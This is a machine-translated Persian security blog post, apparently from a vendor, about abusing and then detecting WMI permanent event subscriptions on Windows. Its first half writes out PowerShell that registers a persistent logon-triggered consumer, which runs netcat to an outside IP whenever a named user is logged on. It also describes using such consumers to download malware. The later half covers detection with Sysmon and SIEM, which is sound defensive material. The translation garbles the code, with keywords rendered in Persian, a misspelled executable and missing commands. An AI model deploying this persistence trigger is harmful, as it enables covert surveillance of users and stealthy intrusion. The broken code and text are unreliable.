زندگی با رویدادهای دائمی WMI
در پایان پست قبلی در این مجموعه ، من پیشنهاد کردم وقایع دائمی WMI ، گرچه تا حدودی پیچیده است ، اما راهی مؤثرتر است که خودی ها به جای استفاده از رویدادهای موقتی ، نظارت خود را بر همکاران خود انجام دهند. فکر می کنم کارگران معمولی که تهدید می شوند ، می توانند رویدادهای دائمی را برای نظارت یا سایر امکانات هک کردن بیش از حد کار کنند. آیا می توانم از این طریق نتیجه بگیرم؟
من یک بعدازظهر یا سه روز را صرف جستجوی رویدادهای دائمی کردم و فهمیدم PowerShell دارای یک cmdlet مخصوص است که روند ایجاد فیلتر رویداد ، مصرف کننده و اشیاء WMI فیلتر مصرف کننده را ساده می کند. همانطور که همه ما می دانیم ، PowerShell به مدیرهای فوق العاده ای برای آسان تر کردن امور می دهد. متأسفانه ، این نمونه ای از جایی است که این افراد می توانند توسط افراد بد استفاده شوند.
cmdlet Set-WmiInstance نسبتاً آسان است اما تسلط بر آن پیچیده تر است که ایجاد رویدادهای موقتی با Register-WMIevent.
WMI دائمی Events Made Easy
این وبلاگ به معنای ایجاد زمینه برای هکرها یا کارمندان ناراضی نیست که می خواهند اعتصاب کنند. در عوض ، ایده این است که به کارکنان IT اطلاعاتی کمی در مورد ذهن هکر داده شود و آنها را مجبور به انجام سناریوهای تست قلم کنند. با توجه به این موضوع ، نحوه تنظیم فیلتر WMI و اشیاء مصرف کننده آورده شده است:
$ Filter = Set-WmiInstance -Namespace root اشتراک -Class __EventFilter -Argument @ EventNamespace = 'root / cimv2' نام = "کرولا" پرس و جو = "SELECT * از __InstanceCreationEvent درون 10 کشور که هدف ISA" Win32_LoggedOnUser "" QueryLanguage = 'WQL' } $ command = "owershell.exe -Command $ names = gwmi Win32_Process؛ $ کاربران = @ ()؛ foreach ($ n به $ نام ها) {$ کاربران + + $ n.GetOwner () کاربر}؛ foreach ($ u در $ کاربران) {if ($ u -eq 'cruella') {C: کاربران lex اسناد nc.exe 172.31.45.240 10000}}} " $ Consumer = Set-WmiInstance -Namespace root اشتراک -Class CommandLineEventConsumer -Argument @ نام = "مصرف کننده" CommandLineTemplate = $ فرمان }
من PowerShell را برای اتصال آن دو ، فیلتر و مصرف کننده ، به عنوان یک تکلیف در خانه ترک خواهم کرد.
در آزمایش خودم ، من توانستم واقعه دائم خود را بر روی سیستم هدف کار کنم. به خاطر داشته باشید که این اتفاق برای انجام رویدادهای موقتی که فقط به مدت زمان به عنوان جلسه PowerShell باقی بماند بسیار دشوار است.
با تنظیم یک رویداد WMI دائم برای گفتن ، نظارت بر شخصی که وارد سیستم شده است ، خودی باشید. یا هکر مجبور نیست روی سیستم هدف بماند. و مزیت اضافه شده این است که رویداد WMI دائمی نیز مداوم است: در صورت راه اندازی مجدد رایانه ، رویداد باعث می شود که محرک های آن باقی بمانند. این امر باعث می شود که رویدادهای دائمی WMI راهی قدرتمند و مخفیانه برای شروع حمله ای باشد که لزوماً فقط مانیتورینگ را شامل نمی شود.
برای مثال ، مصرف کننده رویداد می تواند با بارگیری – با استفاده از DowloadString – بدافزارهایی که روی یک سرور از راه دور برگزار می شود ، به عنوان یک لانچر عمل کند. ارائه فوق العاده Black Hat Met Matt Graeber بیشتر به همه توانایی های شرور وقایع دائمی WMI می پردازد.
به عنوان یک مدافع ، چگونه می توانید شروع به مقابله با WMI Events بعنوان ابزاری برای هک کنید؟
خوشبختانه راهی وجود دارد که بتوانید فیلترهای رویداد ، مصرف کنندگان و اشیاء اتصال دهنده را با cmdlet Get-WmiObject (alias gwmi) لیست کنید:

و سپس اگر رویداد دائمی مشکوک به نظر برسد ، IT می تواند با حذف آن توسط یک خط لوله PowerShell و cmdlet WMI-removeObject: غیرفعال شود:

از زمان وقوع این رویداد و کاربری که کار شیطانی را انجام داده است ، اطلاعی در دست نیست. برای این اطلاعات پزشکی قانونی ، باید در پرونده های رویداد غوطه ور شوید.
آیا می توان رویدادهای دائمی WMI را غیرفعال کرد؟
حداقل IT راهی دارد که بتواند سریع ببیند که چه رویدادهای دائمی WMI ثبت شده است و سپس می تواند به جستجوی اسکریپت های رویداد واقعی برای نشانه های تهدید بپردازد. اما شاید به عنوان یک متخصص امنیت اطلاعات IT ، تصمیم بگیرید که همه افراد به لپ تاپ های خود WMI احتیاج ندارند و بهترین راه حل برای مقابله با رویدادهای دائمی WMI این است که را غیرفعال کنید WMI.
، که WMI را اجرا می کند. به نظر می رسد این آسان نیست. در آزمایش خودم ، من نتوانستم این سرویس را تحت تأثیر قرار دهم – این کار به صورت خودکار مجدداً راه اندازی شد.
اما بگذارید بگوییم که شما موفق به متوقف کردن آن هستید. نرم افزار اداری ویندوز به شدت وابسته به WMI است و اگر Winmgmt در دسترس نباشد کار نخواهد کرد. هشدارهایی در سراسر وب و تالارهای گفتگو در مورد این راهکار غیرفعال کردن WMI وجود دارد. من به آنها گوش خواهم داد: caveat WMI !
Sysmon and SIEM: Living with Events Events
خلاصه: شما باید تهدیدهای رویداد WMI را به عنوان یک واقعیت زندگی بپذیرید. خوشبختانه ، روشهای مؤثرتری برای تشخیص رویدادهای دائمی و سایر فعالیتهای مشکوک ویندوز وجود دارد تا استفاده از cmdlet فوق الذکر Powershell.
Sysmon وجود دارد! من نمی توانم در این پست به کلیه جزئیات این freebie ویندوز – که در اینجا قابل بارگیری است – مراجعه کنم ، اما اطلاعات پزشکی بسیار مفیدی را در یک نقطه ارائه می دهد تا اینکه به پرونده های جداگانه رویدادهای Windows نگاهی بیندازید. توجه: افراد دارای ویندوز 7 و بالاتر از آن نیازی به قابلیت sysmon ندارند زیرا ورود به سیستم در این سیستم عامل های ویندوز جدیدتر بهتر است.

در هر صورت ، Sysmon رویداد id 19 را به ایجاد یک رویداد فیلتر ثابت WMI اختصاص می دهد. (20 مورد برای ایجاد یک رویداد مصرف کننده WMI و 21 مورد برای اتصال WIMI). اگر در Event Viewer مرور می کنید ، می توانید گزارش رویدادهای sysmon را در زیر Microsoft-> Windows-> Sysmon جستجو کنید.
بدون شک ، به جای این که بخواهید به صورت دستی وارد Event Viewer شوید ، به دنبال کمک کمی هستید. و جستجوی رویدادهای دائمی WMI که می تواند نشانه فعالیت هک شدن باشد.
چرا یک فیلتر رویداد دائمی WMI برای نظارت بر ایجاد ایجاد نمی کنید – شما حدس زده اید این یک رویداد دائمی WMI است؟
یک پروژه کوچک و مرتب در آن وجود دارد. github که کد انجام این کار را ارائه می دهد. در اینجا قطعه کد مربوط به فیلتر رویداد WMI برای تشخیص ایجاد یک رویداد رویداد WMI وجود دارد:
$ Filter = Set-WmiInstance -Namespace root اشتراک -Class __EventFilter -Argument @ EventNamespace = 'root / اشتراک' نام = '_PersistenceEvent_' Query = 'SELECT * از __InstanceCreationEvent درون 5 در جایی که TargetInstance ISA "__EventConsumer" " QueryLanguage = 'WQL' }
این به ایده های نهایی من منجر می شود. وقایع دائمی WMI فقط واقعیت دیگری در زندگی در ویندوز است: این قدرت هم برای خیر و هم شر دارد. ما دیدیم که با Sysmon (یا چرخاندن PowerShell خود) می توانید جزئیات بیشتری را برای تجزیه و تحلیل رویدادها بدست آورید و به دنبال تهدید هستید. اگرچه این ممکن است برای انجام یک بار عملی باشد ، برای انجام این کار بر اساس شرکت ، به کمک بیشتری نیاز خواهید داشت.
بدیهی است ، SIEM در اینجا وارد بازی می شود زیرا شواهد جعلی در پرونده های مدفون است. من فکر می کنم شما می توانید ببینید که این در کجا می رود. برای شناسایی و کاهش رویدادهای دائمی WMI به یک راه حل نظارت امنیتی نیاز دارید که SIEM را با تجزیه و تحلیل تهدیدات دیگر ترکیب کند.
به نسخه ی نمایشی علاقه دارید؟ امروز با ما تماس بگیرید!